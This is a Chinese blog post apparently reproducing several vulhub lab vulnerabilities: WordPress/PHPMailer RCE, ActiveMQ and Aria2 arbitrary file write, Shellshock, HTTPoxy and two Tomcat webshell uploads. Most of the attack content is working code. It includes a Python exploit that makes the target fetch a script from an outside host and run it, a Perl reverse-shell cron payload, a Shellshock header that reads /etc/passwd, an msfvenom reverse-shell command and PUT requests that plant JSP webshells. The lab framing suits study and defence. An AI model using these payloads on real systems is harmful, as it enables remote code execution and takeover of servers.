Facebook Twitter Linkedin YouTube VK Xing

vulhub复现(大概持续更新)

git地址 https://github.com/wupco/vulhub.git

wordpress-phpmailed-rce

原理

phpmailer代码执行漏洞
https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

参考:https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

搭环境

装docker,切目录,然后

docker-compose build
docker-compose up -d

然后上站点自己配一下账号就可以了

攻击

也没啥好说的,脚本给出了,vps上建个文件,然后监听
攻击机执行exp
然后拿到目标机shell
blacsheep

payload改造版

#!/usr/bin/env python3
import requests
import sys

# wordpress's url
target = 'http://192.168.188.128/'
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'blog.blacsheep.cn/xxx'
# an exists user
user = 'admin'

def generate_command(command):
    command = '${run{%s}}' % command
    command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
    return 'target(any -froot@localhost -be %s null)' % command


data = {
    'user_login': user,
    'redirect_to': '',
    'wp-submit': 'Get New Password'
}
headers = {
    'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
proxies = {
    'http': 'http://127.0.0.1:8080'
}
target += '/wp-login.php?action=lostpassword'


# requests.post(target, headers=headers, data=data, proxies=proxies, allow_redirects=False)
# headers['Host'] = generate_command('/bin/bash /tmp/rce')
# requests.post(target, headers=headers, data=data, proxies=proxies, allow_redirects=False)

requests.post(target, headers=headers, data=data, allow_redirects=False)
headers['Host'] = generate_command('/bin/bash /tmp/rce')
requests.post(target, headers=headers, data=data, allow_redirects=False)

分析

参考phithon师傅的博客

首先这个rce也是由mail函数的第五个参数导致的,mail函数最终调用系统的sendmail发送邮件,而sendmail支持-X参数,这个参数可以将日志写入文件,也就可以写shell了
blacsheep
不过这里不支持shell语法,phpmailed调用的时候也会进行检测,代码如下

<?php
/**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

分析patternselect

分析一下patternselect决定对email的判断
1.默认的是auto,自动选择一个方式对email进行检测
2.如果php支持pcre那么就用正则来检测
3.如果不支持pcre但是php版本大于5.2就用php的filter进行检测
4.如果不支持pcre但是php版本小于5.2那么直接检查email是否包含@符号

那么目前来看,最佳情况就是php版本小于5.2而且不支持正则表达式(未安装pcre扩展)

不过p神表示还是有其他的方式也是可以打的,比如开发者手动指定email检查

blacsheep

分析正则表达式

p神的分析过程
最终就是在@前面加上括号就可以加入空格,payload如下

aaa( -X/home/www/success.php )@qq.com

测试代码

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('joe@example.net', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X/home/www/success.php )@qq.com";

send($address);

执行之后可以发现已经写了shell了
(虽然我并没有执行成功…)

然后phithon师傅还给了个权限不够的时候的payload

aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

原理

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

本次漏洞出现在fileserver应用中,fileserver支持写入文件,同时支持移动文件,所以我们只要写入一个文件然后移动就可以造成任意文件写入.

参考redis的getshell,同样有几种利用方法

1.写入webshell
2.写入cron或者ssh key等
3.写入jar或jetty.xml等库和配置文件(不太懂)

搭环境

docker-compose build
docker-compose up -d

然后环境会监听8161端口和61616端口,其中8161是web控制台端口,而漏洞就出现在这个端口,我们访问http://192.168.0.104:8161看到web页面即成功运行
blacsheep
其中admin页面的默认登录帐号密码都是admin

攻击

写webshell

写webshell要求登录进去,默认帐号密码admin,访问http://ip_address:8161/admin/test/systemProperties.jsp然后得到ActiveMQ的默认路径:
blacsheep
然后传webshell

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 36164

webshell...

blacsheep

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: localhost:8161
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 0


blacsheep
然后连上去就可以了
blacsheep

写入crontab,自动反弹shell

首先传cron配置文件,然后移动到/etc/cron.d/root

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


得到反弹的shell
blacsheep

分析

没啥好分析的,就是一个对任意文件写的简单利用

Aria2 任意文件写入漏洞

原理

aria2是一个命令行下的轻量级下载工具,内建xml-rpc和json-rpc的接口,在有权限的情况下我们可以操作接口来下载文件,将文件下载到任意目录,造成任意文件写入

参考文章:https://paper.seebug.org/120/

搭环境

docker-compose up -d

6800是aria2的rpc默认端口,环境启动之后访问http://your_ip:6800发现服务已经启动并且返回404

攻击

由于这里需要进行rpc通信,比较麻烦,使用一个第三方的gui
https://github.com/binux/yaaw
使用非常简单,解压之后打开index即可,然后进行简单配置
blacsheep

blacsheep
然后我们只用新建下载任务,就可以将任务目标下载到服务器的指定位置了,比如我们写一个文件到/etc/cron.d下,让它执行一个反弹shell的操作
blacsheep
然后add,成果的话会显示
blacsheep
然后脸上shell文件里面写的ip即可拿到shell
blacsheep

分析

在未设置任何安全措施的情况下,Aria2 RPC Server 可以接受任何未知来源的请求指令,并予以下载。即使存在诸如–rpc-secret、–rpc-user、–rpc-passwd之类的安全措施,也可以通过社会工程学手段进行攻击。通过 Aria2 RPC Server,可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法,获取服务器权限。

其实说到底还是安全认证没做好,这个就是一个裸的任意文件上传,没啥好说的,做好认证的话可能会好一些

Shell破壳漏洞(CVE-2014-6271)

原理

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

搭环境

还是用的vulhub里面的docker

docker-compose build
docker-compose up -d

攻击

这个漏洞本来是shell里环境变量的漏洞,不过如果第三方软件用到了shell,那么就可以导致问题的出现,比较典型的是apache,总的原理图如下
blacsheep

本地测试

可以在shell里面执行

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

如果出现了Vulnerable CVE-2014-6271则存在此漏洞,比如
blacsheep

远程利用

如果某apache利用的是shell的解析,而且shell版本很低的话,就可以导致任意命令执行

GET /victim.cgi HTTP/1.1
Host: 192.168.0.104
Accept: */*
Accept-Language: en
x: () { : ; };a=`/bin/cat /etc/passwd`;echo $a;
Connection: close
Content-Length: 1


blacsheep

分析

以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断
补丁中已经修复
blacsheep

HTTPoxy漏洞(CVE-2016-5385)

原理

参考http://www.laruence.com/2016/07/19/3101.html
漏洞原因简而言之就是cgi(fastcgi)要将用户传入的所有http头都加上HTTP_的前缀注册环境变量,而有些库会用到环境变量里面的HTTP_PROXY来作为http的代理,那么就会导致恶意用户提交恶意头部来窃取数据包中的敏感信息.

PHP5.6.24修复了此漏洞,所以本次采用PHP5.6.23

搭环境

docker-compose build
docker-compose up -d

然后访问http://your_ip/index.php就可以看到origin的服务器ip

攻击

我们在头部加上PROXY部分

GET / HTTP/1.1
Host: 192.168.0.104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
PROXY: http://xx.xx.xx.xx:xx


然后vps上面转发的时候收到包
blacsheep

分析

简而言之就是php某些库进行网络访问的时候会用到名为HTTP_PROXY的环境变量作为代理,而这个变量在cgi中可控,从而导致一些问题.

避免方式:
如果是nginx的话可以加上fastcgi_param HTTP_PROXY "";
如果是库的作者那么请不要相信HTTP_PROXY的环境变量

tomcat7弱口令后台getshell

原理

tomcat如果登录到后台且没有关闭manage功能,那么就可以通过部署war文件来getshell

tomcat的后台功能

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

搭环境

docker-compose up -d

攻击

首先进入页面,登录后台

帐号密码都是tomcat

blacsheep

然后deploy一个war文件
blacsheep

其中war文件可以用msfvenom生成

msfvenom -p java/jsp_shell_reverse_tcp LHOST=your_vps_ip LPORT=your_vps_port -f raw>shell.jsp

然后就生成了jsp的木马
然后zip打包成war

zip -q -o shell.war shell.jsp

然后去部署一下war文件,访问一下页面就可以反弹shell到你的vps上了
blacsheep

分析

漏洞是由于tomcat后台的弱口令以及部署功能所导致的,解决方法可以是使用较强的密码,且manage页面本来是只允许本地访问,由于人为的修改所以可以被其他人访问

注意口令强度以及不要随意修改配置文件就好

CVE-2017-12615(tomcat用PUT写shell)

原理

tomcat的配置文件中的readonly被设置为了false导致可以写入文件

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

搭环境

docker-compose build
docker-compose up -d

攻击

用curl来put一个文件上去

blacsheep

然后put一个jsp文件上去

curl -X PUT -d @jsp.jsp "http://127.0.0.1:8080/321.jsp"

发现405了

<html lang="en">
    <head>
        <title>
            HTTP Status 405 – Method Not Allowed
        </title>
        <style type="text/css">
h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}
        </style>
    </head>
    <body>
        <h1>
            HTTP Status 405 – Method Not Allowed
        </h1>
        <hr class="line">
        <p>
            <b>Type</b> Status Report
        </p>
        <p>
            <b>Message</b> JSPs only permit GET POST or HEAD
        </p>
        <p>
            <b>Description</b> The method received in the request-line is known by the origin server but not supported by the target resource.
        </p>
        <hr class="line">
        <h3>
            Apache Tomcat/8.5.19
        </h3>⏎
    </body>
</html>

尝试文件名绕过

curl -X PUT -d @jsp.jsp "http://127.0.0.1:8080/321.jsp/"

然后拿到shell
blacsheep

分析

链接:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: